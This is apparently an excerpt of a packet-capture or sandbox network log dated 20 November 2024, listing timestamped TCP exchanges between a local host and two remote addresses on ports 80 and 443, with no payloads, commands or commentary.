Nov 20, 2024 04:08:12.525163889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525197983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525216103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525232077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525254011 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525276899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525317907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525362968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525388002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525403023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525418043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.525424004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525448084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.525469065 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.526144981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526225090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526238918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526262999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526278019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.526278973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526294947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526295900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.526313066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526326895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.526331902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526371956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.526391029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.526818037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526834965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526849985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526896954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.526901007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526917934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526933908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526943922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.526949883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526968956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.526977062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527015924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527020931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527034998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527040005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527066946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527081966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527097940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527107000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527117968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527127028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527137995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527143002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527152061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527154922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527205944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527228117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527241945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527244091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527267933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527286053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527295113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527321100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527343035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527349949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527349949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527374029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527393103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527462006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527477980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527493000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527508020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527523994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527518034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527542114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527551889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527551889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527559996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527578115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527590990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527594090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.527635098 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.527635098 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.542850018 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.546657085 CET	62449	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.546686888 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.547295094 CET	62449	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.547300100 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.568433046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.568450928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.568523884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.568541050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.568542004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.568568945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.568578005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.568594933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.568610907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.568610907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.568628073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.568641901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.568641901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.568670034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.594007969 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.594643116 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.594727039 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.595225096 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.595237970 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.600104094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600188017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600200891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600217104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600244999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600270033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600271940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600287914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600295067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600306034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600316048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600322962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600333929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600348949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600351095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600368023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600374937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600388050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600393057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600409031 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600409985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600428104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600434065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600445986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600460052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600471020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600476980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600491047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600507975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600507975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600524902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600536108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600553036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600553989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600569963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600570917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600585938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600589991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600605965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600610018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600624084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.600626945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600651026 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.600667000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612477064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612541914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612555981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612565041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612667084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612690926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612715006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612721920 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612721920 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612730980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612751007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612768888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612797022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612809896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612811089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612812996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612811089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612811089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612838984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612855911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612870932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612871885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612870932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612870932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612890005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612898111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612905979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612921000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612931967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612941027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612957954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612960100 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612974882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.612983942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.612993002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613003969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613019943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613023043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613039017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613040924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613055944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613071918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613081932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613086939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613101959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613105059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613121986 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613121986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613140106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613147020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613147020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613157034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613167048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613177061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613188028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613193035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613208055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613210917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613234043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613234043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613276958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613308907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613327026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613352060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613368034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613368034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613368034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613385916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613389969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613404036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613423109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613426924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613426924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613440037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613454103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613477945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613477945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613481998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613498926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613514900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613529921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613539934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613540888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613553047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613564968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613575935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613590002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613590002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613617897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613713980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613749981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613765001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613864899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613881111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613878012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613878965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613878965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613898039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613915920 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613931894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.613960981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613960981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613960981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.613961935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.614017963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.614691973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.614717960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.614757061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.614757061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.614881039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.614897966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.614924908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.614940882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.614939928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.614939928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.614958048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.614962101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.614974022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.614981890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615000010 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615019083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615395069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615418911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615436077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615451097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615457058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615457058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615468025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615483999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615478992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615500927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615504980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615504980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615514994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615533113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615549088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615556955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615557909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615557909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615566015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615581989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615606070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615606070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615616083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615633011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615649939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615665913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615681887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615710020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615710020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615730047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615847111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615860939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615895033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615919113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615926981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615933895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615942001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615950108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615978956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.615991116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.615997076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.616010904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.616014957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.616029978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.616036892 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.616045952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.616058111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.616064072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.616081953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.616082907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.616096973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.616102934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.616132975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.616152048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.643451929 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.643682957 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.643762112 CET	62449	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.643806934 CET	62449	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.643829107 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.643842936 CET	62449	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.643850088 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.647253036 CET	62454	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.647277117 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.647367954 CET	62454	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.647506952 CET	62454	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.647517920 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.657042027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.657058954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.657113075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.657177925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.657195091 CET	80	62430	31.41.244.11	192.168.2.4
